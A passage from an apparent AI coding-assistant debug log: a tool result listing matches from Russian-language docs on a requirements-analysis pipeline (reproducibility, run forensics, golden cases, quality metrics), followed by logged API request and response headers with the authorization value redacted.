\u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432\u044b\u0439 Working \u0434\u0430\u0451\u0442 \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432\u044b\u0439 Release | \u0414\u0432\u0435 \u0441\u0431\u043e\u0440\u043a\u0438 Golden \u0434\u0430\u044e\u0442 \u043f\u043e\u0431\u0430\u0439\u0442\u043d\u043e \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432\u044b\u0439 `release.json` (\u043f\u0440\u043e\u0431\u0430 `P5`). \u0412\u044b\u0432\u043e\u0434 \u2014 \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 JSON \u0441 \u0441\u043e\u0440\u0442\u0438\u0440\u043e\u0432\u043a\u043e\u0439 \u043a\u043b\u044e\u0447\u0435\u0439 ([`canonical`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-cline-vscode/tools/bcreq_pipeline.py#L20-L29)); `validate-release` \u043f\u0435\u0440\u0435\u0441\u043e\u0431\u0438\u0440\u0430\u0435\u0442 \u0438 \u0441\u0440\u0430\u0432\u043d\u0438\u0432\u0430\u0435\u0442 | \u041f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u041f\u0440\u0438\u043d\u044f\u0442\u044c** \u043a\u0430\u043a \u043e\u043f\u043e\u0440\u0443: \u044d\u0442\u043e \u0438 \u0435\u0441\u0442\u044c \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u044f \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u044f 6, \u043d\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u043e\u0442 Working \u0434\u043e Release |\\nprojects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md:207:| Working \u2192 Release | Runner | \u0414\u0430 | \u0412\u0441\u0451, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043f\u043e\u0431\u0430\u0439\u0442\u043d\u043e\u0435 \u0441\u043e\u0432\u043f\u0430\u0434\u0435\u043d\u0438\u0435 ([\u0413-16](#\u0433-16)) |\\n== forensics\\n60:| \u041f\u043e\u043b\u043d\u044b\u0439 \u0434\u0438\u0430\u043b\u043e\u0433 \u0432 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435 run | 17 | \u0421\u0435\u043c\u0430\u043d\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 \u0440\u0435\u043f\u043b\u0438\u043a \u0438 \u0438\u0442\u043e\u0433\u043e\u0432. |\\n73:   RUN-0026, RUN-0063 \u0438 \u043e\u0431\u0430 \u0432\u043b\u043e\u0436\u0435\u043d\u043d\u044b\u0445 \u0434\u0438\u0430\u043b\u043e\u0433\u0430 \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0442 \u0440\u0430\u0437\u043d\u044b\u0435 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u0435\\n80:   \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e RUN-0063\u2192RUN-0067: \u043f\u044f\u0442\u044c \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0439 \u0442\u0435\u043a\u0443\u0449\u0435\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u0438\\n101:| `SCOPE-01` as-is/delta | \u0412 RUN-0063 \u043f\u044f\u0442\u044c \u0438\u0437 \u0448\u0435\u0441\u0442\u0438 FR \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u043b\u0438 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0435 \u0444\u0438\u043b\u044c\u0442\u0440\u044b, \u043a\u043e\u043b\u043e\u043d\u043a\u0438 \u0438\u043b\u0438 \u044d\u043a\u0441\u043f\u043e\u0440\u0442; RUN-0067 \u0443\u0434\u0430\u043b\u0438\u043b \u0438\u0445. | \u041d\u0435\u043b\u044c\u0437\u044f \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0442\u044c \u0442\u0435\u043a\u0443\u0449\u0435\u0435 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0438\u043b\u0438 \u043f\u0440\u0435\u0434\u0443\u0441\u043b\u043e\u0432\u0438\u0435 \u0432 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u043a \u0434\u043e\u0440\u0430\u0431\u043e\u0442\u043a\u0435. | \u0414\u043e FR \u0441\u043e\u0437\u0434\u0430\u0451\u0442\u0441\u044f \u043c\u0430\u0442\u0440\u0438\u0446\u0430 `evidence \u2192 as_is \u2192 requested_delta \u2192 disposition`; \u0432 FR \u0434\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0451\u043d\u043d\u0430\u044f delta. |\\n107:| `NFR-01` invented metric | RUN-0015 \u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0438\u043b 5 \u043c\u0438\u043d\u0443\u0442, 100 ms, 2 \u0441\u0435\u043a\u0443\u043d\u0434\u044b \u0438 24/7; \u0432\u0441\u0435 \u0447\u0438\u0441\u043b\u0430 \u0431\u044b\u043b\u0438 \u043e\u0442\u043a\u043b\u043e\u043d\u0435\u043d\u044b \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u043e\u043c. | \u041d\u0435\u043b\u044c\u0437\u044f \u0433\u0435\u043d\u0435\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0447\u0438\u0441\u043b\u043e\u0432\u043e\u0439 target \u0438\u0437 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0438, \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u044f \u043c\u043e\u0434\u0435\u043b\u0438 \u0438\u043b\u0438 \u0441\u043b\u043e\u0432\u0430 \u00ab\u0431\u044b\u0441\u0442\u0440\u043e\u00bb. | NFR \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0441 quality attribute, \u043e\u0431\u044a\u0435\u043a\u0442\u043e\u043c, condition, measure, target \u0438 provenance; \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u2014 TBD/open question. |\\n127:| RUN-0063\u2192RUN-0067 | \u041f\u044f\u0442\u044c as-is \u043f\u0441\u0435\u0432\u0434\u043e-FR \u0443\u0434\u0430\u043b\u0435\u043d\u044b; \u0434\u0435\u043b\u044c\u0442\u0430 \u0441\u0432\u0435\u0434\u0435\u043d\u0430 \u043a \u0434\u0432\u0443\u043c FR, 14 AC \u0438 \u0434\u0435\u0432\u044f\u0442\u0438 \u0432\u043e\u043f\u0440\u043e\u0441\u0430\u043c. | \u041c\u0430\u043b\u043e\u0435 \u0447\u0438\u0441\u043b\u043e capability FR + \u043f\u043e\u043b\u043d\u043e\u0435 \u043f\u043e\u043a\u0440\u044b\u0442\u0438\u0435 \u0434\u0435\u0442\u0430\u043b\u044f\u043c\u0438 \u043b\u0443\u0447\u0448\u0435 \u0441\u043f\u0438\u0441\u043a\u0430 \u0442\u0435\u043a\u0443\u0449\u0438\u0445 UI-\u0444\u0430\u043a\u0442\u043e\u0432. |\\n325:- RUN-0063 invalid \u2192 RUN-0067 corrected;\\n327:- RUN-0015 invented numeric NFR \u2192 TBD/open question;\\n363:- `[BCREQ-1074 / RUN-0063]` communication expenses report\\n364:- `[BCREQ-1074 / RUN-0064]` error analysis and report-view specification\\n367:- `[BCREQ-1074 / RUN-0067]` detailed export rework\\n== golden\\n75:   \u0421\u0435\u043c\u0430\u043d\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0441\u0435\u043c\u044c \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432\u044b; API \u0443\u0441\u0438\u043b\u0438\u0432\u0430\u0435\u0442 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442,\\ncandidates\\ncases.yaml\\ngs-cc-01-queue-overflow.md\\ngs-cc-02-report-export.md\\ngs-cc-neg-01-inbound-vs-outbound.md\\ngs-cc-neg-02-queue-vs-group.md\\ngs-cc-neg-03-sla-vs-aht.md\\ngs-cc-neg-04-ivr-vs-announcer.md\\n== MCP\\n== M metrics\\n38:        PC[\\\"\u041f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0439 \u043a\u043b\u0430\u0441\u0441\u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d (MM-4)\\\"]\\n163:| `M-1` \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043d\u0430\u044f \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u044c | \u0434\u043e\u043b\u044f \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432, \u0447\u0435\u0439 \u0441\u043a\u0435\u043b\u0435\u0442 \u0441\u043e\u0432\u043f\u0430\u043b \u0441 \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u043c | \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u0435 \u043f\u043e\u0434\u043f\u0438\u0441\u0435\u0439 \u0441\u043b\u043e\u0442\u043e\u0432 | \u0440\u0430\u0441\u0442\u0451\u0442; \u0431\u0430\u0437\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f 0 (17 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u2014 17 \u0441\u043a\u0435\u043b\u0435\u0442\u043e\u0432) |\\n164:| `M-2` \u0434\u043e\u043b\u044f \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0445 \u043e\u0442\u043a\u0430\u0437\u043e\u0432 | `G-mach` reject / \u0432\u0441\u0435 \u043f\u0440\u043e\u0433\u043e\u043d\u044b | \u0441\u0447\u0451\u0442\u0447\u0438\u043a \u0433\u0435\u0439\u0442\u0430 | \u043d\u0435\u043d\u0443\u043b\u0435\u0432\u0430\u044f: \u043d\u0443\u043b\u0435\u0432\u0430\u044f \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442, \u0447\u0442\u043e \u0433\u0435\u0439\u0442 \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 |\\n165:| `M-3` \u0434\u043e\u043b\u044f \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u0445 \u043f\u0440\u0430\u0432\u043e\u043a \u043f\u043e\u0441\u043b\u0435 `G-mach` | \u043f\u0440\u0430\u0432\u043a\u0438 \u043d\u0430 `G-human` / \u043f\u0440\u0438\u043d\u044f\u0442\u044b\u0435 `G-mach` | diff \u0432\u044b\u0445\u043e\u0434\u0430 | \u043f\u0430\u0434\u0430\u0435\u0442; \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442, \u0447\u0442\u043e \u043b\u043e\u0432\u0438\u0442 \u043c\u0430\u0448\u0438\u043d\u0430, \u0430 \u0447\u0442\u043e \u043d\u0435\u0442 |\\n166:| `M-4` \u043f\u043e\u043b\u043d\u043e\u0442\u0430 \u0441\u043b\u0435\u0434\u0430 | \u0434\u043e\u043b\u044f \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0441 \u0447\u0435\u0442\u044b\u0440\u044c\u043c\u044f \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u043c\u0438 \u043f\u043e\u043b\u044f\u043c\u0438 | \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440 `EP-R4` | 100% \u043a\u0430\u043a \u0443\u0441\u043b\u043e\u0432\u0438\u0435 \u043f\u0440\u0438\u0451\u043c\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 |\\n167:| `M-5` \u0434\u043e\u043b\u044f \u043f\u0443\u0441\u0442\u044b\u0445 \u0441\u043b\u043e\u0442\u043e\u0432 \u0441 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0439 \u043f\u0440\u0438\u0447\u0438\u043d\u043e\u0439 | \u043f\u0443\u0441\u0442\u044b\u0435 \u0441\u043b\u043e\u0442\u044b \u0441 \u043f\u0440\u0438\u0447\u0438\u043d\u043e\u0439 / \u0432\u0441\u0435 \u043f\u0443\u0441\u0442\u044b\u0435 | \u0440\u0430\u0437\u0431\u043e\u0440 \u0448\u0430\u0431\u043b\u043e\u043d\u0430 | \u0440\u0430\u0441\u0442\u0451\u0442; \u043e\u0442\u043b\u0438\u0447\u0430\u0435\u0442 \u00ab\u043d\u0435\u0442\u00bb \u043e\u0442 \u00ab\u043d\u0435 \u0440\u0430\u0441\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u043b\u0438\u00bb |\\n174:\u041f\u0435\u0440\u0435\u0441\u0435\u0447\u0435\u043d\u0438\u044f \u043d\u0435\u0442: `M-1`\u2026`M-5` \u0438\u0437\u043c\u0435\u0440\u044f\u044e\u0442 \u043f\u0440\u043e\u0433\u043e\u043d \u043f\u0430\u043a\u0435\u0442\u0430, `MP-*` \u0438 `MO-*` \u2014 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u043e\\n177:**\u0423\u0441\u043b\u043e\u0432\u0438\u0435 \u0447\u0435\u0441\u0442\u043d\u043e\u0441\u0442\u0438 \u0437\u0430\u043c\u0435\u0440\u0430.** \u0411\u0430\u0437\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f \u043f\u043e `M-1`\u2026`M-3` \u0441\u043d\u0438\u043c\u0430\u0435\u0442\u0441\u044f **\u0434\u043e**\\n181:**\u041f\u043e\u0440\u043e\u0433 \u0440\u0435\u0448\u0435\u043d\u0438\u044f.** \u0421\u0440\u0435\u0437 \u0441\u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f \u0443\u0441\u043f\u0435\u0448\u043d\u044b\u043c, \u0435\u0441\u043b\u0438 `M-4` = 100% \u0438 `M-1` \u0437\u0430\u043c\u0435\u0442\u043d\u043e\\n182:\u0432\u044b\u0448\u0435 \u0431\u0430\u0437\u043e\u0432\u043e\u0439 \u043b\u0438\u043d\u0438\u0438 \u043f\u0440\u0438 \u043d\u0435\u043d\u0443\u043b\u0435\u0432\u043e\u043c `M-2`. \u041a\u043e\u043c\u0431\u0438\u043d\u0430\u0446\u0438\u044f \u00ab`M-1` \u0432\u044b\u0441\u043e\u043a\u0438\u0439, `M-2` = 0\u00bb\\n189:| \u041f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0439 \u043a\u043b\u0430\u0441\u0441 \u043d\u0435 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u0442\u0441\u044f \u043f\u043e \u0432\u0445\u043e\u0434\u0443 | \u043f\u0440\u043e\u0433\u043e\u043d \u043e\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043d\u0430 `C-IN`, \u0432\u043e\u043f\u0440\u043e\u0441 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0443 | `MM-4`: \u043a\u043b\u0430\u0441\u0441 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d, \u0430 \u043d\u0435 \u0432\u044b\u0432\u0435\u0434\u0435\u043d \u043b\u0435\u043a\u0441\u0438\u0447\u0435\u0441\u043a\u0438; \u0437\u0430\u043c\u0435\u0440 \u043f\u043e\u043a\u0430\u0437\u0430\u043b, \u0447\u0442\u043e \u043b\u0435\u043a\u0441\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043c\u0430\u0440\u043a\u0435\u0440\u044b \u043d\u0435\u0440\u0430\u0437\u043b\u0438\u0447\u0430\u044e\u0449\u0438\u0435 (66 \u0438\u0437 67 \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u0439 \u043c\u0443\u043b\u044c\u0442\u0438\u0434\u043e\u043c\u0435\u043d\u043d\u044b\u0435) |\\n194:| \u0418\u0441\u0442\u043e\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043f\u0440\u043e\u043c\u043f\u0442 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u0432 \u0442\u0440\u0451\u0445 \u0440\u0435\u0436\u0438\u043c\u0430\u0445 | \u0431\u0435\u0440\u0451\u0442\u0441\u044f \u043e\u0434\u0438\u043d \u043d\u0430\u0432\u044b\u043a; \u0444\u043e\u0440\u043c\u0430\u0442 \u0432\u044b\u0447\u0438\u0441\u043b\u044f\u0435\u0442\u0441\u044f \u0432 \u043f\u043e\u043b\u0435 `interaction` \u043f\u043e \u043d\u0430\u043b\u0438\u0447\u0438\u044e \u0442\u043e\u0447\u043a\u0438 \u0432\u043e\u0437\u0432\u0440\u0430\u0442\u0430 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0430\u043a\u0442\u043e\u0440\u0443, \u0430 \u043d\u0435 \u0432\u044b\u0431\u0438\u0440\u0430\u0435\u0442\u0441\u044f | `DP-1`\u2026`DP-5`, `FM-1`, ADR-013, ADR-016 |\\n215:- \u0411\u0430\u0437\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f `M-1` \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0430 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u043c \u0437\u0430\u043c\u0435\u0440\u043e\u043c \u043d\u0430 \u0442\u0440\u0451\u0445 \u0437\u0430\u0432\u0435\u0440\u0448\u0451\u043d\u043d\u044b\u0445\\n216:  \u043f\u0440\u043e\u0433\u043e\u043d\u0430\u0445 \u043a\u043e\u0440\u043f\u0443\u0441\u0430: \u0442\u0440\u0438 \u0440\u0430\u0437\u043d\u044b\u0445 \u0441\u043a\u0435\u043b\u0435\u0442\u0430, `M-1 = 0.0`, \u0441\u0435\u043c\u044c \u0441\u043b\u043e\u0442\u043e\u0432 \u0438\u0437\",\n[2026-09-29T07:54:55.725Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T07:54:55.725Z] [INFO]     \"interrupted\": false,\n[2026-09-29T07:54:55.725Z] [INFO]     \"isImage\": false,\n[2026-09-29T07:54:55.725Z] [INFO]     \"noOutputExpected\": false\n[2026-09-29T07:54:55.725Z] [INFO]   }\n[2026-09-29T07:54:55.725Z] [INFO] }\n[2026-09-29T07:54:55.765Z] [STDOUT] [log_6bcbb0] sending request {\n[2026-09-29T07:54:55.772Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:54:55.778Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:54:55.782Z] [STDOUT]   options: {\n[2026-09-29T07:54:55.786Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:54:55.789Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:54:55.797Z] [STDOUT]     body: {\n[2026-09-29T07:54:55.801Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:54:55.803Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:54:55.806Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:54:55.812Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:54:55.821Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:54:55.826Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:54:55.829Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:54:55.835Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:54:55.840Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:54:55.844Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:54:55.848Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:54:55.852Z] [STDOUT]       stream: true,\n[2026-09-29T07:54:55.854Z] [STDOUT]     },\n[2026-09-29T07:54:55.857Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:54:55.861Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:54:55.865Z] [STDOUT]       aborted: false,\n[2026-09-29T07:54:55.869Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:54:55.872Z] [STDOUT]       onabort: null,\n[2026-09-29T07:54:55.875Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:54:55.878Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:54:55.880Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:54:55.882Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:54:55.890Z] [STDOUT]     },\n[2026-09-29T07:54:55.892Z] [STDOUT]     stream: true,\n[2026-09-29T07:54:55.900Z] [STDOUT]   },\n[2026-09-29T07:54:55.907Z] [STDOUT]   headers: {\n[2026-09-29T07:54:55.912Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:54:55.916Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:54:55.919Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:54:55.923Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:54:55.927Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:54:55.930Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:54:55.935Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:54:55.939Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:54:55.944Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:54:55.948Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1486\",\n[2026-09-29T07:54:55.953Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:54:55.955Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T07:54:55.957Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:54:55.960Z] [STDOUT]     \"x-client-request-id\": \"5b15bb0d-8384-49ad-b1ec-34cac5e28455\",\n[2026-09-29T07:54:55.965Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:54:55.968Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:54:55.973Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:54:55.976Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:54:55.978Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:54:55.981Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:54:55.984Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:54:55.986Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:54:55.988Z] [STDOUT]   },\n[2026-09-29T07:54:55.994Z] [STDOUT] }\n[2026-09-29T07:54:56.592Z] [STDOUT] [log_6bcbb0, request-id: \"req_011CfXNUr2U5whXuFkTPUzX3\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 847ms\n[2026-09-29T07:54:56.595Z] [STDOUT] [log_6bcbb0] response start {\n[2026-09-29T07:54:56.600Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:54:56.603Z] [STDOUT]   status: 200,\n[2026-09-29T07:54:56.608Z] [STDOUT]   headers: {\n[2026-09-29T07:54:56.611Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:54:56.619Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:54:56.625Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:54:56.636Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.41\",\n[2026-09-29T07:54:56.642Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:54:56.651Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:54:56.655Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:54:56.658Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:54:56.661Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:54:56.664Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:54:56.670Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:54:56.675Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:54:56.681Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:54:56.685Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:54:56.689Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:54:56.694Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:54:56.701Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:54:56.705Z] [STDOUT]     \"cf-ray\": \"a4296c326cf65d90-FRA\",\n[2026-09-29T07:54:56.709Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:54:56.712Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:54:56.715Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:54:56.721Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:54:56.735Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:54:56 GMT\",\n[2026-09-29T07:54:56.743Z] [STDOUT]     \"request-id\": \"req_011CfXNUr2U5whXuFkTPUzX3\",\n[2026-09-29T07:54:56.751Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:54:56.757Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:54:56.764Z] [STDOUT]     traceresponse: \"00-f4a351452881a8cc5e6b33cd0fff4cdb-b60a067f68d2e24e-01\",\n[2026-09-29T07:54:56.769Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:54:56.772Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:54:56.779Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:54:56.784Z] [STDOUT]   },\n[2026-09-29T07:54:56.790Z] [STDOUT]   durationMs: 847,\n[2026-09-29T07:54:56.796Z] [STDOUT] }\n[2026-09-29T07:54:56.801Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:54:56.807Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:54:56 GMT\",\n[2026-09-29T07:54:56.813Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:54:56.831Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:54:56.841Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:54:56.847Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:54:56.849Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:54:56.852Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:54:56.855Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:54:56.859Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:54:56.863Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:54:56.866Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:54:56.868Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": 